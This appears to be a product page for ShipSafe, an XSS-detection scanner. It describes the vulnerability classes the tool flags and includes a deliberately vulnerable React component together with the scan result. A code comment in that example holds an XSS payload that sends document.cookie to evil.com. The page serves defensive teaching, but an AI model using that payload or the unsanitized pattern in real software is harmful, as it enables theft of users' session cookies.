Cross-Site Scripting (XSS) Detection — ShipSafe
How ShipSafe detects cross-site scripting vulnerabilities in your code.
143 detection rulesLocal-only scanning
What is XSS?
Cross-Site Scripting (XSS) occurs when an application includes untrusted data in web pages without proper validation or escaping. Attackers can execute malicious scripts in victims' browsers, stealing cookies, session tokens, or redirecting users to malicious sites. XSS is one of the most prevalent web vulnerabilities.
What ShipSafe Detects
- ✓Reflected XSS where user input is echoed in HTTP responses
- ✓Stored XSS where user-submitted content is rendered without escaping
- ✓DOM-based XSS through innerHTML, document.write, and eval with user input
- ✓React dangerouslySetInnerHTML with unsanitized content
- ✓Vue v-html directive with user input
- ✓Angular [innerHTML] binding and bypassSecurityTrust* misuse
- ✓Template injection in Handlebars, EJS, Pug, and Nunjucks
- ✓Missing Content-Security-Policy headers
Example: Vulnerable Code
Vulnerable React component with XSS via dangerouslySetInnerHTML
// Vulnerable: user input in dangerouslySetInnerHTML
function Comment({ content }: { content: string }) {
return (
<div
dangerouslySetInnerHTML={{ __html: content }}
/>
);
}
// An attacker submits: <img src=x onerror="document.location='https://evil.com/steal?c='+document.cookie">ShipSafe Catches It
$ shipsafe scan CRITICAL xss/dangerous-set-inner-html src/components/Comment.tsx:4 dangerouslySetInnerHTML used with unsanitized content prop. Fix: Sanitize HTML with DOMPurify before rendering — DOMPurify.sanitize(content)
Detect XSS in Your Code
Install ShipSafe and scan your project in under 60 seconds.
npm install -g @shipsafe/cli